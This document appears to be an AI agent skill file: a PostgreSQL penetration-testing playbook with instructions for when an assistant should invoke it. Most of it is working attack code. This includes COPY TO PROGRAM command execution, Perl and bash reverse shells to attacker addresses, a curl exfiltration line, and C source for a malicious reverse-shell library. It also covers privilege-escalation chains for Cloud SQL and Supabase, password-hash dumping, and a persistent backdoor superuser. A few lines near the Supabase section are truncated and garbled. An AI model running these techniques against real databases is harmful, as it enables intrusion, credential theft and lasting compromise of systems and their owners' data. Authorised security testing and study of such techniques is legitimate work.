postgresql-pentesting

name

postgresql-pentesting

description

PostgreSQL database penetration testing and exploitation. Use this skill whenever the user needs to enumerate, exploit, or escalate privileges in PostgreSQL databases. Trigger on mentions of PostgreSQL, pgsql, port 5432, database pentesting, SQL injection against PostgreSQL, privilege escalation in databases, or any PostgreSQL security assessment tasks. This skill covers connection enumeration, privilege analysis, file system access, RCE techniques, and post-exploitation.

PostgreSQL Pentesting Skill

A comprehensive guide for PostgreSQL database penetration testing, from initial enumeration to privilege escalation and remote code execution.

Quick Reference

Task	Command
Connect locally	psql -U <user>
Connect remotely	psql -h <host> -U <user> -d <db>
List databases	\list or SELECT datname FROM pg_database;
List tables	\d
List users	\du+
Current user	SELECT user;
Current database	SELECT current_catalog;

Connection & Basic Enumeration

Establish Connection

# Local connection
psql -U <myuser>

# Remote connection with database
psql -h <host> -U <username> -d <database>

# Remote with port and password
psql -h <host> -p <port> -U <username> -W <password> <database>

# Localhost with password prompt
psql -h localhost -d <database_name> -U <User>

Initial Reconnaissance

-- List all databases
\list
SELECT datname FROM pg_database;

-- Switch to database
\c <database>

-- List tables
\d

-- List users and roles
\du+

-- Get current context
SELECT user;
SELECT current_catalog;

-- List schemas
SELECT schema_name, schema_owner FROM information_schema.schemata;
\dn+

-- Get languages available
SELECT lanname, lanacl FROM pg_language;

-- Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

-- Get command history
\s

AWS PostgreSQL Detection

If you see a database called rdsadmin when running \list, you're inside an AWS PostgreSQL database.

SELECT datname FROM pg_database WHERE datname = 'rdsadmin';

Automatic Enumeration

Metasploit Modules

# Version scanner
msf> use auxiliary/scanner/postgres/postgres_version

# Database name flag injection
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

# Hash dump
msf> use auxiliary/scanner/postgres/postgres_hashdump

# Schema dump
msf> use auxiliary/scanner/postgres/postgres_schemadump

# Read file
msf> use auxiliary/admin/postgres/postgres_readfile

# Payload delivery
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

Port Scanning via dblink

Use dblink to scan internal ports from within PostgreSQL:

SELECT * FROM dblink_connect(
  'host=1.2.3.4
   port=5678
   user=name
   password=secret
   dbname=abc
   connect_timeout=10'
);

Error interpretation:

• No route to host → Host is down
• Connection refused → Port is closed
• server closed the connection unexpectedly → Port is open
• password authentication failed → Port is open, wrong credentials
• Connection timed out → Port is open or filtered

Privilege Enumeration

Role Privileges

-- Get detailed user roles and groups
SELECT
  r.rolname,
  r.rolsuper,
  r.rolinherit,
  r.rolcreaterole,
  r.rolcreatedb,
  r.rolcanlogin,
  r.rolbypassrls,
  r.rolconnlimit,
  r.rolvaliduntil,
  r.oid,
  ARRAY(SELECT b.rolname
        FROM pg_catalog.pg_auth_members m
        JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
        WHERE m.member = r.oid) as memberof,
  r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

-- Check if current user is superuser
SELECT current_setting('is_superuser');
-- Returns 'on' for true, 'off' for false

Important Role Flags

Flag	Meaning
rolsuper	Superuser privileges
rolcreaterole	Can create roles
rolcreatedb	Can create databases
rolcanlogin	Can log in
rolbypassrls	Bypasses row-level security
rolreplication	Replication role

Critical Groups

-- Check membership in sensitive groups
SELECT r.rolname, m.member
FROM pg_roles r
JOIN pg_auth_members m ON r.oid = m.roleid
WHERE r.rolname IN ('pg_execute_server_program', 'pg_read_server_files', 'pg_write_server_files');

Group capabilities:

• pg_execute_server_program → Execute OS commands
• pg_read_server_files → Read any file
• pg_write_server_files → Write any file

Table Permissions

-- Get table owners
SELECT schemaname, tablename, tableowner FROM pg_tables;

-- Get tables where current user is owner
SELECT schemaname, tablename, tableowner 
FROM pg_tables 
WHERE tableowner = current_user;

-- Get your permissions over tables
SELECT grantee, table_schema, table_name, privilege_type 
FROM information_schema.role_table_grants;

-- Check permissions on specific table
SELECT grantee, table_schema, table_name, privilege_type 
FROM information_schema.role_table_grants 
WHERE table_name = 'pg_shadow';

Function Permissions

-- List all functions
\df *

-- List functions by pattern
\df *pg_ls*

-- Check function permissions
\df+ pg_read_binary_file
\df+ pg_ls_dir
\df+ pg_read_file

-- Get all functions in pg_catalog schema
\df pg_catalog.*

-- Detailed function listing
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
    LEFT JOIN information_schema.parameters 
    ON routines.specific_name = parameters.specific_name
WHERE routines.specific_schema = 'pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

-- Alternative function listing
SELECT * FROM pg_proc;

File System Access

Read Files

-- Method 1: COPY (requires pg_read_server_files or superuser)
CREATE TABLE demo(t text);
COPY demo FROM '/etc/passwd';
SELECT * FROM demo;
DROP TABLE demo;

-- Method 2: pg_ls_dir (list directory)
\c postgres  -- Switch to postgres database first
SELECT * FROM pg_ls_dir('/tmp');

-- Method 3: pg_read_file (read file)
SELECT * FROM pg_read_file('/etc/passwd', 0, 1000000);

-- Method 4: pg_read_binary_file
SELECT * FROM pg_read_binary_file('/etc/passwd');

Write Files

-- Simple file write (requires pg_write_server_files or superuser)
-- Note: COPY cannot handle newlines, use base64 encoded one-liner
COPY (SELECT convert_from(decode('<BASE64_PAYLOAD>', 'base64'), 'utf-8')) 
TO '/tmp/payload.sh';

-- Binary file upload requires alternative methods (see RCE section)

Get Data Directory

-- Find PostgreSQL data directory
SELECT setting FROM pg_settings WHERE name = 'data_directory';

-- Common paths:
-- /var/lib/postgresql/<VERSION>/main/
-- /var/lib/PostgreSQL/<VERSION>/<CLUSTER_NAME>/

Remote Code Execution (RCE)

COPY ... TO PROGRAM

-- Basic command execution
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

-- Reverse shell (Perl)
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

-- Exfiltration example
COPY (SELECT '') TO PROGRAM 'curl http://YOUR-SERVER?f=`ls -l|base64`';

Bypass WAF Keyword Filters

-- Build COPY dynamically to bypass filters
DO $$
DECLARE cmd text;
BEGIN
  cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
  EXECUTE cmd;
END $$;

Configuration File RCE

Via ssl_passphrase_command

-- 1. Dump private key
SELECT * FROM pg_read_file('/etc/ssl/private/ssl-cert-snakeoil.key', 0, 1000000);

-- 2. Encrypt the key locally
-- openssl rsa -aes256 -in downloaded.key -out encrypted.key

-- 3. Overwrite config using Large Objects
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');
SELECT encode(lo_get(114575), 'escape');

-- 4. Write new config with RCE payload
SELECT lo_from_bytea(223, decode('<BASE64_CONFIG>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');

-- 5. Reload configuration
SELECT pg_reload_conf();

Config payload:

ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on

Via archive_command

-- 1. Check if archive mode is enabled
SELECT current_setting('archive_mode');

-- 2. Overwrite archive_command
-- Use Large Objects for multi-line config (see above)

-- 3. Reload configuration
SELECT pg_reload_conf();

-- 4. Trigger WAL operation
SELECT pg_switch_wal();
-- or for older versions:
SELECT pg_switch_xlog();

Via preload libraries

-- 1. Set dynamic library path
-- dynamic_library_path = '/tmp:$libdir'

-- 2. Set preload library
-- session_preload_libraries = 'payload.so'

-- 3. Upload malicious .so to /tmp
-- 4. Reload configuration
SELECT pg_reload_conf();

-- 5. New connections will load the library

Malicious library template:

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
  int port = 4444;
  struct sockaddr_in revsockaddr;
  int sockt = socket(AF_INET, SOCK_STREAM, 0);
  revsockaddr.sin_family = AF_INET;
  revsockaddr.sin_port = htons(port);
  revsockaddr.sin_addr.s_addr = inet_addr("10.10.10.10");
  connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));
  dup2(sockt, 0);
  dup2(sockt, 1);
  dup2(sockt, 2);
  char * const argv[] = {"/bin/bash", NULL};
  execve("/bin/bash", argv, NULL);
}

Compile:

gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c

Privilege Escalation

CREATEROLE Privesc

If you have CREATEROLE privilege, you can grant yourself access to sensitive roles:

-- Grant file read access
GRANT pg_read_server_files TO current_user;

-- Grant file write access
GRANT pg_write_server_files TO current_user;

-- Grant command execution access
GRANT pg_execute_server_program TO current_user;

-- Change other users' passwords
ALTER USER target_user WITH PASSWORD 'new_password';

Escalate to SUPERUSER

-- If local trust authentication is enabled
COPY (SELECT '') TO PROGRAM 'psql -U postgres -c "ALTER USER current_user WITH SUPERUSER;"';

Check pg_hba.conf for trust authentication:

# Look for these entries:
local   all             all                                     trust
host    all             all             127.0.0.1/32            trust
host    all             all             ::1/128                 trust

ALTER TABLE Privesc (GCP Cloud SQL)

-- 1. Create tables
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');

-- 2. Create IMMUTABLE function first
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
  LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

-- 3. Create index with function
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

-- 4. Change table owner to cloudsqladmin
ALTER TABLE temp_table OWNER TO cloudsqladmin;

-- 5. Replace function with VOLATILE version containing payload
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
  LANGUAGE sql VOLATILE AS 
  'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

-- 6. Trigger execution via ANALYZE
ANALYZE public.temp_table;

-- 7. Check results
SELECT * FROM shell_commands_results;

SECURITY DEFINER Function Abuse

-- Find SECURITY DEFINER functions
SELECT proname, prosrc 
FROM pg_proc 
WHERE prosrc LIKE '%SECURITY DEFINER%';

-- Check function details
\df+ function_name

-- Exploit if vulnerable to SQL injection or parameter control
SELECT function_name(attacker_controlled_params);

Overwriting pg_authid Filenode

-- 1. Get data directory
SELECT setting FROM pg_settings WHERE name = 'data_directory';

-- 2. Get filenode path for pg_authid
SELECT pg_relation_filepath('pg_authid');
-- Returns: base/1/1258 (example)

-- 3. Import filenode
SELECT lo_import('/var/lib/postgresql/13/main/base/1/1258', 13337);

-- 4. Get table datatype
SELECT STRING_AGG(
    CONCAT_WS(',', attname, typname, attlen, attalign), ';'
) FROM pg_attribute
JOIN pg_type ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = 'pg_authid';

-- 5. Edit filenode externally using postgresql-filenode-editor
-- Set all rol* flags to 1 for superuser

-- 6. Re-upload edited filenode
SELECT lo_from_bytea(13338, decode('<BASE64_EDITED_FILENODE>', 'base64'));
SELECT lo_export(13338, '/var/lib/postgresql/13/main/base/1/1258');

-- 7. Clear cache (optional)
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*))::bytea);

Event Trigger Privesc (Supabase)

-- 1. Create escalation function
CREATE OR REPLACE FUNCTION escalate_priv()
RETURNS event_trigger AS $$
DECLARE
  is_super BOOLEAN;
BEGIN
  SELECT usesuper INTO is_super FROM pg_user WHERE usename = current_user;
  IF is_super THEN
    BEGIN
      EXECUTE 'CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD ''temp123''';
    EXCEPTION WHEN duplicate_object THEN NULL;
    END;
    BEGIN
      EXECUTE 'GRANT priv_esc TO postgres';
    EXCEPTION WHEN OTHERS THEN NULL;
    END;
  END IF;
END;
$$ LANGUAGE plpgsql;

-- 2. Register event triggers
DROP EVENT TRIGGER IF EXISTS log_start CASCADE;
DROP EVENT TRIGGER IF EXISTS log_end CASCADE;
CREATE EVENT TRIGGER log_start ON ddl_command_start EXECUTE FUNCTION escalate_priv();
CREATE EVENT TRIGGER log_end ON ddl_command_end EXECUTE FUNCTION escalate_priv();


 EXTENSION IF  postgres_fdw CASCADE;
 EXTENSION postgres_fdw;


 ROLE priv_esc;

Local Enumeration

Check Configuration Files

# Find PostgreSQL config files
find /etc/postgresql -maxdepth 4 -type f \
  \( -name "postgresql.conf" -o -name "pg_hba.conf" \) 2>/dev/null

# Check socket and credentials
ls -l /var/run/postgresql/.s.PGSQL.5432 ~/.pgpass 2>/dev/null

# Search for authentication settings
rg -n "^(host|local)|trust|peer|md5|scram|password|ssl" /etc/postgresql 2>/dev/null

# Query as postgres user
sudo -u postgres psql -c 'SHOW hba_file; SHOW config_file;'
sudo -u postgres psql -c '\du'

pgAdmin Credentials

# Find pgadmin database
find ~ -name "pgadmin4.db" 2>/dev/null

# Extract credentials
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"

# Decrypt using pgadmin crypto module
# See: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

Post-Exploitation

Enable Logging

-- Check current logging settings
SHOW log_statement;
SHOW logging_collector;

-- Enable comprehensive logging (requires superuser)
ALTER SYSTEM SET log_statement = 'all';
ALTER SYSTEM SET logging_collector = on;
ALTER SYSTEM SET log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log';
SELECT pg_reload_conf();

-- Find log files
-- /var/lib/postgresql/<VERSION>/main/log/
-- /var/lib/postgresql/<VERSION>/main/pg_log/

Credential Harvesting

-- Dump password hashes
SELECT usename, passwd FROM pg_shadow;

-- Get all role information
SELECT rolname, rolpassword, rolsuper, rolcanlogin, rolvaliduntil
FROM pg_authid;

-- For SCRAM authentication (PostgreSQL 10+)
SELECT rolname, rolpassword FROM pg_authid;

Persistence

-- Create backdoor user
CREATE ROLE backdoor WITH SUPERUSER LOGIN PASSWORD 'backdoor123';

-- Add to sensitive groups
GRANT pg_execute_server_program TO backdoor;
GRANT pg_read_server_files TO backdoor;
GRANT pg_write_server_files TO backdoor;

-- Create event trigger for persistence
CREATE OR REPLACE FUNCTION persist_backdoor()
RETURNS event_trigger AS $$
BEGIN
  IF NOT EXISTS (SELECT 1 FROM pg_roles WHERE rolname = 'backdoor') THEN
    EXECUTE 'CREATE ROLE backdoor WITH SUPERUSER LOGIN PASSWORD ''backdoor123''';
  END IF;
END;
$$ LANGUAGE plpgsql;

CREATE EVENT TRIGGER persist_trigger ON ddl_command_end
EXECUTE FUNCTION persist_backdoor();

Helper Scripts

See the scripts/ directory for:

• pg_enum.sh - PostgreSQL enumeration helper
• pg_priv_check.sh - Privilege checking utility
• pg_config_edit.py - Configuration file manipulation

Important Notes

1. Permission Requirements: Most advanced techniques require pg_read_server_files, pg_write_server_files, pg_execute_server_program, or superuser privileges.

2. CREATEROLE Abuse: If you have CREATEROLE, you can often grant yourself the above permissions.

3. Local Trust Auth: Check pg_hba.conf for trust authentication which allows passwordless local access.

4. Large Objects: Use lo_import, lo_export, lo_from_bytea for binary-safe file operations.

5. Version Differences: Some functions and behaviors vary by PostgreSQL version. Check with SELECT version();

6. Cloud Platforms: GCP Cloud SQL, AWS RDS, and Supabase have specific privilege escalation vectors unique to their configurations.

References

• PostgreSQL Documentation: https://www.postgresql.org/docs/
• PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings
• CVE-2019-9193: https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/
• PostgreSQL Filenode Editor: https://github.com/adeadfed/postgresql-filenode-editor